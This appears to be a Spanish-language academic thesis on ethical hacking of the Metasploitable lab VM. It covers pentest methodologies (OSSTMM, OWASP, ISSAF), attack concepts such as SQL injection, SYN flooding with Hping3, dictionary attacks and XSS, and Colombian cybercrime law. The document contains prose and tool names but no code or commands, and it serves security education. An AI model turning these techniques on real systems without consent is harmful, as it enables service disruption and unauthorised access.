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GLOSARIO

CONFIDENCIALIDAD: pilar destinado a garantizar que el activo se encuentre
seguro, de tal manera que solo pueda ser accesible por personas autorizadas,
impidiendo la filtracion de la informacion a personas o sistemas no autorizados.

DENEGACION DE SERVICIO DISTRIBUIDO: técnica de ataque informéatico que
es llevado a cabo a través mdltiples origenes que generalmente actian como
botnet, la finalidad es inundar el trafico de red de los servidores para impedir la
continuidad de los servicios, dicha amenaza informatica pretende afectar uno de
los pilares de la seguridad informética como lo es la disponibilidad.

DISPONIBILIDAD: capacidad que permite el acceso a las personas autorizadas
sin importar la hora o lugar del cual se intente acceder, garantizando de esta forma
que la informacién sea asequible al personal autorizado.

DAMN VULNERABLE WEB APPLICATION: proyecto de entrenamiento en
seguridad web disefiado PHP y MySQL, el objetivo es la explotacién
vulnerabilidades web, el cual dispone de tres niveles de dificultad.

INTEGRIDAD: pilar destinado a asegurar que la informacion no ha sido vulnerada,
entiéndase por vulneracion cualquier modificacién que pueda sufrir la informacién
desde que parte de su origen.

Information System Security Assessment Framework: metodologia que permite
realizar escaneo de vulnerabilidades, ha sido desarrollada para identificar y
evaluar una red de trabajo, sus sistemas y aplicaciones disponibles.

KALLI: sistema operativo de ndcleo Linux de cddigo abierto (Open Source), cuya
finalidad es la auditoria y seguridad informatica soportado por Offensive Security.

METASPLOIT: herramienta de seguridad informética de cddigo abierto escrito en
Ruby, dispone de (03) tres versiones que son Community Edition, Profesional y
Express. Corresponde a un Framework Pentesting con varias funcionalidades
empleadas por expertos en seguridad informatica para realizar los diferentes
procesos del test de intrusion, como lo es la recoleccion de informacion, escaneo
de vulnerabilidades, explotacion y post-explotacion

Network Mapper: poderosa herramienta de seguridad informéatica con licencia GPL
(General Public Licence), multiplataforma, su finalidad es realizar auditorias de
seguridad en una red con el propésito de descubrir los hosts que se encuentran
disponibles (Online), como al igual los servicios con detalles especificos,
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reconocimiento de sistemas operativos, asimismo, dispone de técnicas de
evasion, de detencion de intrusos y cortafuegos, identificacion de vulnerabilidades,
etc.

Open Web Application Security Project: proyecto abierto de seguridad informatica
en aplicaciones web, considerado como un estandar de seguridad para determinar
vulnerabilidades y combatir ataques informaticos.

PROTOCOLO DE INTERNET IP: es la base fundamental de la Internet,
corresponde agquel conjunto de normas que rigen cdémo los paquetes de
comunicacion se transmiten a traves de la red. Por su parte, los protocolos de
transporte permiten a los programas comunicarse entre si.

SISTEMA DE DETECCION DE INTRUSIONES IDS: herramienta que actGa de
manera cautelosa como mecanismo para prevenir y dar aviso ante cualquier
actividad sospechosa alusiva a una instruccion en los sistemas, realiza un analisis
detallado del trafico de la red como accion para mitigar un ataque informatico.
Existen varios tipos de sistemas de deteccion de intrusiones, los cuales se basan
en firmas, del host, de red, en anomalias, pasivo, reactivo, etc. Los dos mas
importes son los sistemas de deteccion de intrusiones de red N-IDS y sistemas de
deteccion de intrusiones en el host H-IDS.

SNORT: sistema de deteccidon de intrusiones basado en red, desarrollado por la
compafiia Cisco Systems, este instrumento multiplataforma es muy usado en el
mundo de la seguridad informatica, la cual se encuentra disponible bajo la licencia
GPL (Licencia Publica General), la caracteristica mas sobresaliente esta que actia
como un Sniffer permitiendo realizar un andlisis en tiempo real de trafico de red.

TRANSMISSION CONTROL PROTOCOL TCP: protocolo de transporte que
permite establecer conexion, intercambiar datos y a su vez garantiza la entrega de
datos.

WEB APPLICATION FIREWALL: corresponde a un tipo de cortafuego particular
que es empleado como control de acceso a un servicio web, actda entre la
aplicacion web y el cliente con el fin de interceptar y eludir solicitudes catalogadas
como maliciosas que puedan comprometer la seguridad de la aplicacion.

13



RESUMEN

En el ambiente controlado de seguridad informética de la herramienta
Metasploitable se evidencian vulnerabilidades, las cuales pueden ser explotadas
durante una simulacion de ataque informaticos. El presente proyecto aplicado
dispone de recursos técnicos garantes a la implementacion de pruebas de
Pentesting bajo el enfoque de metodologias de hacking ético, los cuales se rigen
bajo los conceptos de las metodologias Web Application Security Project —
OWASP, Information Systems Security Assessment Framework — ISSAF y Open
Source Security Testing Methodology Manual — OSSTMM.

Lo anterior permite el andlisis, deteccion y explotacién de vulnerabilidades de
seguridad informética, se recrea un ambiente controlado de ataques informaticos a
los diferentes sistemas objetivos de estudio, cuyo resultado conlleva a la
implementacién de politicas de seguridad informatica en los sistemas, en procura
de mitigar los riesgos. Por su parte, el desarrollo del presente proyecto genera
sensacion de confianza y conformidad por parte de los clientes internos y
externos, ademas de posicionar la imagen corporativa en términos de credibilidad
y visibilidad.

Palabras clave:
Hacking Etico, Auditoria, Seguridad Informatica, Pruebas de Testeo, Amenazas

Informaticas, Activos Informaticos, Politicas de Seguridad de la informacion,
Vulnerabilidad, Riesgos Informaticos, Ataques Informéticos.
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ABSTRACT

In the controlled computer security environment of the Metasploitable tool,
vulnerabilities are evident, which can be exploited during a computer attack
simulation. This applied project has technical resources that guarantee the
implementation of Pentesting tests under the approach of ethical hacking
methodologies, which are governed under the concepts of Web Application
Security Project - OWASP, Information Systems Security Assessment Framework -
ISSAF methodologies and Open Source Security Testing Methodology Manual -
OSSTMM.

The above allows the analysis, detection and exploitation of computer security
vulnerabilities, it is recreated in a controlled environment of computer attacks on
the different objective study systems, whose result leads to the implementation of
computer security policies in computer systems in pursuit of mitigate the risks For
its part, the development of this project generates a sense of trust and compliance
on the part of internal and external clients, in addition to positioning the corporate
image in terms of credibility and visibility.

Keywords:
Ethical Hacking, Audit, Computer Security, Testing Tests, Computer Threats,

Computer Assets, Information Security Policies, Vulnerability, Computer Risks,
Computer Attacks.
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INTRODUCCION

Comprender que la evolucion de las Tecnologias de la Informacion vy
Comunicacion TIC han incursionado notablemente en la vida, se trata de una
herramienta que rompe barreras de tiempo y espacio, de una época de constante
trasformacion digital. Por su parte, las empresas optimizan sus procesos en todas
sus éareas, siendo mas eficientes, productivas y competitivas, dejando atras los
modelos tradicionales y poco eficaces; en razén a los anterior, se infiere que las
Tecnologias de la Informacion y Comunicacion son un instrumento que garantiza
el desarrollo organizacional, no se debe olvidar que la oferta y demanda ha
conllevado a la exigencia de la inclusion tecnologica por parte de las
organizaciones, siendo un utensilio fundamental en la gestion de las
organizaciones.

Asimismo, las pequefias y medianas empresas (Pymes) actuales se alinean a los
constantes cambios de la globalizacion con el fin de procesar los datos a través de
las Tecnologias de Informacion y Comunicacién, en la que se garantice politicas
de integridad, disponibilidad y confidencialidad contenida en los sistemas
informaticos gracias a los mecanismos de seguridad y proteccion, aunque
persisten preocupaciones de algunas empresas por aquellos riesgos tecnoldgicos
que afectan a las organizaciones. No se puede dudar del gran avance de la
tecnologia la cual ha traido consigo nuevos paradigmas que demuestran lo
contrario, la imperiosa obligacion de enfocar a las entidades en relacion con sus
metas estrategicas, sin lugar a dudas brinda oportunidades de competitividad y
sostenibilidad empresarial. La administracion en una empresa debe buscar la
correcta proyeccion y planificacion para el adecuado control sobre la misma,
mediante mecanismos de dominio eficientes que permitan diagnosticar la
viabilidad de la compafiia.

El presente proyecto aplicado est4 destinado a la implementacién de pruebas de
Pentesting al caso estudio del entorno virtual Metasploitable, la auditoria de
seguridad informatica se implementard en los recursos tecnolégicos que permita
establecer y garantizar politicas de seguridad de la informacion, partiendo de la
identificacibn de vulnerabilidades de enfoque de seguridad informatica,
implementacion de acciones correctivas y generacion de politicas de seguridad en
procura de mitigar los riesgos informéaticos, a través del desarrollo de las diferentes
fases de auditoria de seguridad informatica como lo es, la recopilacion de
informacion, identificacion y explotacion de vulnerabilidades, que conlleven a
garantizar un entorno seguro, finalmente el presente proyecto genera un impacto
positivo en la eficiencia organizacional relacionadas con la seguridad informéatica.
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1. DEFINICION DEL PROBLEMA

1.1 ANTECEDENTES DEL PROBLEMA

La evolucion de las Tecnologias de la Informacion y Comunicaciéon ha
incursionado notablemente en las organizaciones, estas herramientas han
permitido a las empresas optimizar sus procesos en todas las areas, siendo mas
eficientes, productivas y competitivas. A un costado se han dejado los modelos
tradicionales por carecer de operacionalidad vanguardista, sin lugar a duda las TIC
garantizan el desarrollo organizacional, no se debe olvidar que la oferta y
demanda ha conllevado a la exigencia de la inclusion tecnolégica por parte de las
empresas, siendo instrumento fundamental en la gestion de las organizaciones. Es
de vital importancia el significado y valor simbdlico de los datos, se podria
considerar que representan una fraccidn cuantitativa y cualitativa que al
encontrarse estructurados o catalogados de alguna manera generan informacion,
su principal aporte consiste en el empleo que se le pueda dar a los mismos,
gracias a los datos se puede tomar decisiones de calidad. Es por ello que los
datos son clasificados como un activo sensible en las organizaciones, debido a
ello es imprescindible resguardarla.

Desde otra perspectiva surge la conjetura inevitable de la incursion tecnoldgica,
algunos grupos expertos estiman que los problemas de seguridad informatica se
han trasformado en uno de los principales inconvenientes de las entidades, como
si se tratase del talon de Aquiles en las empresas que tienen flujo de informacion.
Hay que tener claro, los riesgos de seguridad informatica siempre van a estar
presentes a pesar de los ingentes controles que se implementen, pues la
evolucion tecnologica y digital tiene sus impactos drasticos y esta en constante
progreso.

El internet brinda un sinfin de usos y ventajas, pero a su vez trae consigo riesgos
inminentes que se deben considerar, en el caso de estudio del entorno virtual
Metasploitable se evidencian brechas de seguridad informatica que permitieron
vulnerar la seguridad del proyecto de aplicacibn web con alcance a diferentes
sistemas informaticos. Los riesgos informaticos son considerados como aquella
manifestacion de hecho donde existe la probabilidad de sufrir un peligro, es decir,
una situacion de amenaza a que ocurra un incidente con impactos negativos,
desde el enfoque delictivo sus acciones pueden ser trascendentales, se contempla
el robo de informacion, acceso no autorizado, violacidon de datos personales,
abuso de dispositivos que faciliten la comision de delitos, interceptacién de datos
informaticos, etc.

Por su parte, la seguridad es una cualidad que permite tener sensacion de

confianza, es decir, permite aislar aquellos riesgos o peligros independientemente
del contexto en que se encuentre. A su vez, la seguridad informatica es
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reconocida como aquella disciplina que se encarga de proteger la integridad,
confidencialidad y disponibilidad de informacion en un sistema informatico.
Asimismo, la seguridad de las aplicaciones web corresponde a una de las
principales ramas de seguridad informética que se ocupa taxativamente de la
seguridad de los servicios web, aplicaciones web, sitios web, etc.

Conlleva a comprender que los atagues cibernéticos son acciones encaminadas a
explotar las vulnerabilidades informaticas, que desde el enfoque delictivo pueden
ser trascendentales. Estos ataques disponen de diferentes técnicas especificas,
se evidencian ataques del lado del cliente, ataques logicos, revelacion de
informacion, autenticacién, autorizacion, ejecucién de comandos, entre muchas
mas. Por su parte, las vulnerabilidades de las aplicaciones web no son mas que
comportamientos inesperados, son catalogados como debilidades que pueden ser
explotadas por los delincuentes informaticos para comprometer las politicas de
seguridad de la informacion, evidenciando el salto de directorio, error de gestion
de recursos, inyecciones, validacion de entrada, error de disefio, fallo de
autenticacion, error de buffer, configuracion, etc.

1.2 FORMULACION DEL PROBLEMA
¢ Como determinar el nivel de seguridad informética mediante la implementacion
de pruebas de Pentesting al caso estudio del entorno virtual Metasploitable a

través de la identificacion y explotacion de vulnerabilidades en los sistemas
informaticos?
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2 JUSTIFICACION

La alta gerencia de una empresa busca la correcta proyeccion y planificacién para
el adecuado control sobre la misma, mediante mecanismos de dominio eficientes
que permitan diagnosticar la viabilidad de la compafia. Por su parte, la
manifestacion de los sistemas informaticos en los flujos de informacion ha sido
catalogada como aquella agrupacion de elementos tanto tangibles como
intangibles, en la que se efectle el adecuado tratamiento de informacién. Para la
gran mayoria de las organizaciones la informacion es el activo mas importante,
muchas empresas tienen como alcance asegurar la administraciéon de los mismos
en términos de politicas de integridad, disponibilidad y confidencialidad.

Por su parte, la auditoria de seguridad informética que se implementara en el
entorno virtual Metasploitable sera de tipo caja negra, al auditor no se le brindara
informacion alguna que permita o coadyuve a identificar y explotar las diferentes
vulnerabilidades. Es valido mencionar, que la gran mayoria de los ataques
informaticos de la actualidad aprovechan fallas de disefio o bugs en los diferentes
software, un software es un producto derivado de un resultado exclusivamente
intelectual, que es efectuado por el ser humano y como ser racional esta propenso
a cometer errores en sus acciones, en razoén a ello, durante las etapas del ciclo de
vida del software también estar proclive a fallas, conllevando muy posiblemente a
brindar un producto que no satisface las necesidades y expectativas esperadas.
Gran parte de estos incidentes se debe a que algunos desarrolladores web no son
cuidadosos al disefiar sus proyectos.

Implementar un Penetration Testing® en los recursos tecnolégicos del entorno
virtual Metasploitable permitira establecer y garantizar politicas de seguridad de la
informacion, esta accién genera sensacion de confianza y conformidad por parte
de los clientes internos y externos, ademas de posicionar la imagen corporativa en
términos de credibilidad y visibilidad. La transcendencia al entorno aplicado del
caso estudio del entorno virtual Metasploitable se centra en la identificacion de
vulnerabilidades de enfoque de seguridad informética, implementacién de
acciones correctivas y generacion de politicas de seguridad en procura de mitigar
los riesgos informaticos a través de buenas practicas de enfoque de metodologias
de hacking ético, la propuesta tiene como objetivo dar desarrollo a las diferentes
fases de auditoria de seguridad informatica como lo es, la recopilacion de
informacion, identificacion y explotacion de vulnerabilidades, que conlleven a
garantizar un entorno seguro, finalmente el presente proyecto genera un impacto
positivo en la eficiencia organizacional relacionadas con la seguridad informatica.

1 VALDERRAMA GUARDIA, Jhon. Prueba de penetracion para la identificacion de vulnerabilidades en la red de
computadoras en la Alcaldia del municipio de Cantén del San Pablo. Quibd6, 2017, 14p. Trabajo de investigacion
(Especialista en Seguridad Informética) Universidad Nacional Abierta y a Distancia. Escuela de Ciencias Basicas
Tecnologia e Ingenieria.
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3 OBJETIVOS

3.1 OBJETIVOS GENERAL

Diseflar estrategias que permitan mitigar las vulnerabilidades presentes en
Metasploitable a partir del desarrollo y documentacion de pruebas de Pentesting a
este entorno virtual.

3.2 OBJETIVOS ESPECIFICOS

¢ l|dentificar diferentes metodologias de analisis de vulnerabilidades.

e Ejecutar test de intrusion a la infraestructura Metasploitable siguiendo la
metodologia de analisis que se ajuste mas a este escenario controlado.

e Detallar métodos de explotacién de vulnerabilidades informéticas a través
del Framework de Pentesting como proceso test de intrusion de la auditoria
informatica.

e Documentar las estrategias que mitiguen el nivel de riesgo existente en la
distribucion Metasploitable.
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4 MARCO REFERNCIAL

4.1 MARCO TEORICO

4.1.1 Seguridad Informatica®>. Se vislumbra como aquella disciplina que se
encarga de proteger la integridad, confidencialidad y disponibilidad de la
informacion en un sistema informatico. Por su parte, las vulnerabilidades son
comportamientos inesperados, son catalogados como debilidades que pueden ser
explotados por los delincuentes informaticos para comprometer las politicas de
seguridad de la informacion.

Estas vulnerabilidades pueden existir tanto a nivel l6gico como a nivel fisico, por lo
cual es importante asegurar ambos componentes, aunque es valioso recalcar que
no existe seguridad perfecta y lo que se pretende es minimizar los riesgos e
impactos.

Teniendo en cuenta la necesidad de las organizaciones de evaluar sus niveles de
seguridad de la informacion, surge las metodologias de Hacking Etico3, las cuales
consisten en realizar pruebas de penetracién o intrusién, pero aisladas de la
cibercriminalidad, su finalidad consiste en recrear un ambiente controlado de
ataques informaticos a los diferentes sistemas con el objetivo de identificar y
explotar las vulnerabilidades halladas. Esta practica es completamente legal, la
cual es supeditada bajo el consentimiento de la administraciéon de la organizacion,
de lo contrario estaria incurriendo en la comisiébn de delitos informaticos
consagrados en la Ley 1273 del 2009.

4.1.2 Ataques informéticos. Consiste en técnicas que permiten comprometer la
seguridad informética de un sistema, aprovechando las vulnerabilidades a través
de diferentes acciones, en el siguiente apartado se enumeran algunas de ellas,
asi:

2 GOMEZ VIEITES. Alvaro. Enciclopedia de la Seguridad Informatica: Principios de la Seguridad Informatica. Segunda
Edicion. Madrid: RA-MA S.A Editorial y Publicaciones, 2011. 6p.

3 JARA, Héctor & PACHECO, Federico. Ethical Hacking 2.0: La Evaluacion de la Seguridad. Primera Edicion. Buenos Aires:
Fox Andina, 2011. 57p.
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4.1.2.1 La inyecciébn SQL. Es un ataque critico que se aprovecha de las
consultas en la base de datos, el proceso se basa en la inyeccion de codigos del
lenguaje de programacion Structured Query Language en sentencias previamente
disefiadas con la finalidad de comprometer la normal actividad de la base de
datos. Por otra parte, es necesario comprender que Structured Query Language
es un lenguaje de programacion enfocado a la operacionalizacion de la
informacion en la base de datos. El lenguaje de consulta estructurada se
caracteriza por la manipulacion de datos a través de comandos DML que permite
realizar consultas, extraer, actualizar, eliminar e insertar datos en la base de datos.
Asimismo, emplea comandos DDL enfocados a la definicion de datos que permite
crear, modificar, eliminacion de base de datos, tablas, indices, etc.

El método consiste en lograr ejecutar fragmentos de algoritmos SQL en el
servidor, esta técnica se consigue valiéndose de procesos erroneos en la filtracion
de las variables que posibilitan la inyeccién de codigos. Este ataque informético
exhibe informacién restringida, modifica y/o elimina datos, concede accesos no
autorizados, ejecutar comandos maliciosos, toma el control de la base de datos,
comprometer al sistema operativo que alberga el servidor, entre otros

4.1.2.2 Denegacion de Servicios Distribuidos. El ataque tiene como objetivo
inundar el trafico de red de los servidores para impedir la continuidad de los
servicios, la técnica niega el acceso a los servicios para aquellos usuarios
autorizados por ocasion de la inundacién de peticiones empleando varias fuentes
gue generan un ataque progresivo, por lo general se acude al exceso de consumo
de memoria, sobrecarga a la CPU, bloqueo repentino del servicio, etc.

A través de la herramienta Hping3 es posible realiza el ataque DDOS, ya que
permite el envidé de paquetes TCP, UDP Y RAW-IP a la victima, a diferencia de la
aplicacién Ping que solo envia paquetes ICMP, con Hping3 se puede ejecutar
ataques TCP/SYN Flooding para inundar con paquetes el servicio y dejarlo
inaccesible e inoperante por un determinando tiempo, hay que tener presente que
influyen varios factores en el ataque.

4.1.2.3 Ataque de Diccionario. Aprovecha el control de autenticacién en un
software, el mecanismo consiste en disponer de un archivo externo con la
combinacion de posibles credenciales relacionados con el usuario, es por ello que
la efectividad del ataque es en razén al empleo de contrasefias no seguras, con
herramientas como Crunch, Theharvester o CeWL se pueden personalizar los
diccionarios, por otra parte con los software TCH-Hydra, Metasploit, Cain & Abel,
Bruter o John the Ripper se pueden lanzar los ataques de fuerza bruta o
diccionario.
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4.1.2.4 Privilegios Excesivos. El ataque se desarrolla cuando a un usuario se
le otorga privilegios en la base de datos que extralimitan los requerimientos de su
funcién, de esta manera es posible abusar de sus privilegios con objetivos no
autorizados y/o delictivos como por ejemplo consulta, modificar, eliminar
informacion confidencial, camino para ejecutar ataques mas peligros, tomar el
control de la base de datos, etc.

4.1.2.5 Cross Site Scripting. Los ataques de inyeccion de scripts o también
conocidos por las siglas XSS, se trata de varios tipos de ataques que aprovechan
las vulnerabilidades relacionadas con la programacion utilizada en los sitios web.
Permite al atacante insertar instrucciones HTML o JavaScript en la aplicaciéon web
vulnerable, conllevada al robo de cookies, direccionamiento a paginas web
externas, subir archivos maliciosos, modificacion de la pagina web (Defacement),
etc.

4.1.3 Metodologias Hacking Etico*. Estas guias por lo general estan orientadas
para pruebas de Hacking Etico en las organizaciones, actGan conformes a estos
modelos para asistir al nivel directivos en la adecuada toma de decisiones en
provecho de las empresas. El Hacking Etico se centra en los grandes aportes que
brindan la moral y la ética, para el doctor en Filosofia Pekka Himanen en su libro la
Etica del Hacker y el Espiritu de la Era de la Informacién5, enlaza el término de la
ética y hacking al sujeto entusiasta y apasionado a la tecnologia, el cual obra bajo
el acatamiento de coOdigos deontolégicos, aunque no estén intrinsecamente
registrados.

Las metodologias de Hacking Etico corresponden aquellas guias estructuradas en
procura de atender los riegos en el contexto de la seguridad informatica,
propiciando estrategias de control y prevencién de seguridad como apoyo a los
diferentes servicios tecnologicos que se ocupan de minimizar los riesgos antes
posibles atagues informéticos, su propésito consiste en respaldar la
administracion de la informacion de acuerdo al acatamientos de las politicas de
integridad, disponibilidad y confidencialidad.

Entre las metodologias mas importantes en la actualidad se distinguen Certified
Ethical Hacker®, Offensive Security, Open Web Application Security Project —
OWASP’, Information Systems Security Assessment Framework - ISSAF,
Technical Guide to Information Security Testing and Assessment NIST SP 800-
115, Penetration Testing Execution Standard — PTES. Open Source Security

4 MORA ORTEGA, Andrés Santiago. Metodologia de Hacking Etico para Instituciones Financieras, aplicacién de un caso
practico. Cuenca, 2007, 21p. Trabajo de investigacion (Maestria de Gestion Estratégica de Tecnologias de la Informacion)
Universidad de Cuenca - Ecuador. Facultad de Ingenieria.

5 HIMANE, Pekka. La ética del hacker y el espiritu de la era de la informacion: ¢Por qué el hacker es como es?. Primera
edicién. Londres: Sin Editorial, 2002. 9p.

® ONOFA CALVOPINA, Franklin Orland. Anélisis y Evaluacion de Riesgos y Vulnerabilidades del Nuevo Portal Web de la
Escuela Politécnica Nacional, Utilizando Metodologias de Hackeo Etico. Quito, 2017, 21p. Trabajo de investigacion (Titulo
de Ingeniero en Sistemas Informaticos y de Computacion) Escuela Politécnica Nacional. Facultad de Ingenieria en Sistemas
" Ibid., p.19.
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Testing Methodology Manual - OSSTMM?®, esta Ultima metodologia permite el
analisis, deteccion y explotacion de vulnerabilidades de seguridad informéatica, se
efectia a través de una eshozada inspeccién e implementacion de métodos y
herramientas que permite llegar a cabo una auditoria en seguridad informatica.

Esta serie de acciones tiene como objetivo principal identificar aquellos incidentes
y vulnerabilidades de seguridad informética, como al igual brindar soluciones para
disipar los posibles riesgos ante ofensivas, el Manual de la Metodologia Abierta de
Testeo de Seguridad plantea de manera sistematica el proceso de auditoria en los
sistemas informaticos en (7) siete pasos de seguridad, el cual corresponde a la
informacion, procesos, tecnologias de internet, comunicaciones, inalambrica, fisica
y la seccién encamina en la seguridad de sistemas operativos. La auditoria se rige
cumplimiento las fases de recopilacién de informacion, monitoreo de la red,
identificacion de vulnerabilidades y aprovechamiento y explotacion de
vulnerabilidades.

OSSTMM ofrece soluciones adecuadas para minimizar los riesgos a través de la
implementacion de auditorias de seguridad que conlleven a la recoleccién de
informacion, descubrimiento y andlisis de vulnerabilidades, determinacion de
riesgos y capacitacion a los usuarios de los sistemas. Estas acciones son parte de
mejores practicas presenciadas en normas internacionales como la 1SO 27001°,
ISO 27002, ITIL, NIST, etc.

Por su parte, la metodologia de Open Web Application Security Project — OWASP,
se trata de la reconocida fundacion internacional sin animo de lucro, la cual es
fortalecida por varios sectores que integran la comunidad de la seguridad
informatica, a través del tiempo se ha evidenciado su gran progreso, tiene como
proposito guiar la batalla inquebrantable contra las vulnerabilidades informéaticas
en el software, especificamente a lo relacionado con la seguridad de las
aplicaciones web.

Es asi que es reconocido como un estandar de seguridad en aplicaciones web
para determinar vulnerabilidades y combatir ataques informaticos, su prestigioso
proyecto OWASP Top Ten identifica y determina el listado de los diez riesgos
informaticos mas significativos en las aplicaciones web, que desde el 2010 ha
catalogado a la Inyeccion como el principal. El proyecto OWASP se encarga de
brindar a las entidades seguridad, confiabilidad en el desarrollo, compra y
mantenimiento de las aplicaciones web.

Por su parte, la guia OWASP abarca un completo documento que suministra un
manual especifico para la seguridad de las aplicaciones web, este informe dispone

8 MORA ORTEGA. Op. cit., p. 42.

® MESQUIDA, Antoni Lluis & CABESTRERO, Ignacio. Sistema de Gestion Integrado segun las normas ISO 9001, ISO/IEC
20000 e ISO/IEC 27001. En: Revista Espafiola de Innovacion, Calidad e Ingenieria del Software. Vol.; 6. No 3 (Ago-
Sep.2010); p. 1-32.
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de aquellas contramedidas con un enfoque de verificacién y valoracién de la
seguridad informatica. De esta manera se brinda una completa guia para
proporcionar un software menos inseguro. Esta metodologia esta especialmente
dirigida a desarrolladores, Testers de software y por supuesto especialistas en
seguridad informatica, cimentada en brindar una actualizada y til informacion ante
amenazas de seguridad.

Asimismo, la metodologia Information System Security Assessment Framework
ISSAF es fomentada por Open Information Systems Security Group OISSG, la
cual se implementa a través 3 etapas, correspondiente a la planificacion y
preparacion, seguido de la evaluacion y finalmente por la fase de reporte, limpiar y
destruir artefactos. Se enfoca principalmente en la valoracion de la seguridad de la
estructura de red como al igual del sistema como conjunto. El proceso de las
diferentes fases tiene un enfoque similar a la implementacién de una auditoria de
seguridad informética tal como se expone en el siguiente apartado (recoleccién
informacion, mapeo red, reconocimiento vulnerabilidades, intrusion, etc.). Sin
dudas se podria inferir que guia ISSAF es mucho mas extensa que la de
OSSTMM.

Finalmente, el rol de las normas internacionales emitida por la Organizacion
Internacional de Normalizacion 27001:2013 y 27002:2013 en las organizaciones
es fundamental y trascendental, corresponde a la norma mas utilizada y extendida,
que deliberé una nueva estructura del ya conocido Sistema de Gestion de la
Seguridad de la Informacion; la 1ISO 27001:2013 es la primera revision de su
predecesora divulgada en el afio 2005, se percibe que su estructura ha cambiado
debido a la imperiosa necesidad de adaptarse a las versiones actualizadas de las
demas normas ISO.

Esta norma a su vez proporciona una mejora continua en el Sistema de Gestion
de la Seguridad de la Informacién, que ha permitido mejorar los diferentes
procesos Yy servicios prestados de cada entidad, reduciendo los costes, tiempos,
recursos y demas beneficios que garantizan la eficiencia organizacional, pues se
cuenta con mayor enfoque es la gestion de los procesos del citado modelo.

4.1.4 Auditoria de Seguridad Informatica. El procedimiento de un Pentesting suele
regir un proceso sistematizado, por lo general se dinamiza a través de la fase de
reconocimiento, fase analisis de vulnerabilidades, fase de explotacion, fase de
post-explotacion y fase de informe. Se estima que el proceso de acceso no
autorizado a un sistema informatico es arduo si se dispone de la correcta
configuracién y administracion. La implementacion del Pentesting se desarrollara
de la siguiente manera, asi:
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Fase de recopilacién de informacion, se puede disponer de una gran cantidad de
herramientas para el reconocimiento y recoleccion de informacion del objetivo a
auditar, en la que se puede evidenciar Maltego, The Harvester, Anubis, Fosa,
Uniscan, VisualRoute, servicios online, entre otros. El objetivo de esta etapa es
recopilar la mayor informacién posible, como servidores DNS, servidores de correo
electrénico, metadatos de la empresa, informacion relevante de la organizacion,
saltos de datos, informacién de dominio, documentos, informacion de personas
vinculadas con la empresa, etc.

Por su parte en la fase 2 corresponde al mapeo de la red, se realiza el sondeo o
monitoreo de los hosts disponibles, descubrimiento de sistemas operativos, de
puertos y servicios del objetivo a auditar, se puede disponer de herramientas como
NetScan, Hping, SuperScan, Nmap, entre otras.

La fase 3 corresponde a la identificacion de vulnerabilidades, la cual se desarrolla
a partir de la informacién recolectada de las fases anteriores, se continta con el
descubrimiento de vulnerabilidades en el host a auditar, se puede disponer de
herramientas que automatizan el proceso de busqueda de debilidades como
Nessus, OpenVAS, Retina, Acunetix y hasta el mismo NMAP. Hay que tener
presente que una vulnerabilidad es una falla en un sistema, la cual puede ser
aprovechada para comprometer la seguridad.

Durante la fase 4 alusiva a la intrusion, la cual es considera como la mas
interesante y ardua, debe ser realizada con rigor por parte del auditor de seguridad
informatica, la finalidad es comprometer la seguridad del sistema a través de
técnicas, habilidades y destrezas intrinsecas del profesional. Se efectla gracias a
la informacién aportada por las anteriores etapas. De acuerdo al contexto de las
vulnerabilidades descubiertas se acude a herramientas de explotacibn como por
ejemplo Hping3, Hydra, Ettercap, Wireshark, SQLMap, John The Ripper, Burp
Suite, Core Security, Immunity CANVAS, Metasploit, etc.

Finalmente, en la fase 5 se genera el reporte, en este ciclo del Pentesting se
registran todas las acciones efectuadas a partir de un informe técnico y ejecutivo,
asimismo se brindas aquellas politicas de seguridad informética en los sistemas
informaticos como parte de los resultados de la auditoria.
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4.2 MARCO CONCEPTUAL

4.2.1 Delito informatico. Para identificar aquellos factores que conllevan a un
individuo a cometer delitos informaticos, es necesario previamente comprender el
concepto de delito informatico, en Colombia la Constitucion Politica del 1991
considera al derecho como algo absoluto, imprescriptible e inalienable, es que la
privacidad y la proteccién de datos son derechos del ser humano.

Por su parte, en el afio 2009 el Congreso de la Republica decret6 la Ley 1273,
mediante la cual anuncio la reforma a la Ley 599 del 2000 considerado como el
Caddigo Penal, la modificacion tuvo como fin adicionar bajo el titulo denominado de
la Proteccion de la Informacion y de los Datos, se puede inferir que se trata de un
bien juridico necesario teniendo en cuenta la era de la trasformacion digital, pues
el Codigo Penal no disponia para dicha fecha de sanciones penales relacionadas
con delitos informéticos. La Ley 1273 del 2009 establece nuevas conductas
penales tipificadas como delitos informaticos y proteccion de la informacion.

La evolucién digital obligé a regular conductas juridicamente, pues este progreso
no tiene limites previsibles y por ello el Congreso de Colombia se vio en la
responsabilidad de legislar por medio de jurisprudencia para penalizar dichas
conductas punibles; con la Ley 1273 del 2009 Delitos Informaticos el Cédigo Penal
ha sufrido modificaciones, pues fue necesaria la reglamentacion legal, con ello
pretende combatir a los delitos que estan relacionados con la informatica.

Algunos sectores estiman que se trata de una norma que ha llegado algo tarde en
comparacion con otros paises, la uUltima década es considerada como la era
informatica, han evolucionado aspectos importantes como la comunicacion, la
facilidad de negociar, de tratar, guardar y suministrar informacién, entre otros. No
hay duda que esta nueva era ha traido consigo grandes cambios, siendo positivos
como negativos, por ello la importancia de reglamentar juridicamente los delitos
informaticos. Esta ley es preventiva y castigable, la cual se ha presentado para
poder mantener la convivencia y seguridad ciudadana, su caracter es
trascendental pues la informatica esta presente en todos los aspectos de la vida
moderna. Los delitos informaticos mas comunes en Colombia son el hurto por
medio informatico, acceso no autorizado a un sistema informatico, empleo de
software malicioso, suplantacion de sitios web, entre otros.

4.2.2 Etica y moral. Es importante comprender las caracteristicas, semejanzas y
diferencias de la Moral y la Etica, esta Ultima seria la ciencia que estudia los juicios
morales y su justificacion, es una de las tantas ramas de la filosofia, a partir de un
comportamiento ético las personas estas constituidas a formar una sociedad ética,
a través de conductas catalogadas como buenas, la conciencia permite discernir
entre lo bueno y malo, al desarrollar un acto justo se deberia entender como si se
tratase de lo correcto independientemente del contexto en el que se encuentre.
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Unicamente se limita a ocupar actos voluntarios e intrinsecamente humanos, los
cuales dependen de la razon y libertad. Una persona en un ambiente social al que
pertenece se encuentra sujeto a las normas que rigen el orden de dicha sociedad.
Por su parte, la Moral seria aquellas normas de conducta, principios, costumbres y
valores prescriptos por dicha comunidad las cuales evolucionan con el devenir de
los tiempos.

iNo hay ética sin libertad! La actuacion del ser humano significa comportarse de
forma intencional, el cual se comprenda con criterios adecuados entre los bueno y
malo en un sentido muy concreto, su incidencia en el comportamiento humano es
la base de las buenas relaciones sociales, aunque se requiere estar bien consigo
mismo, el respetar y acatar las diferentes normas es indispensable, debiendo
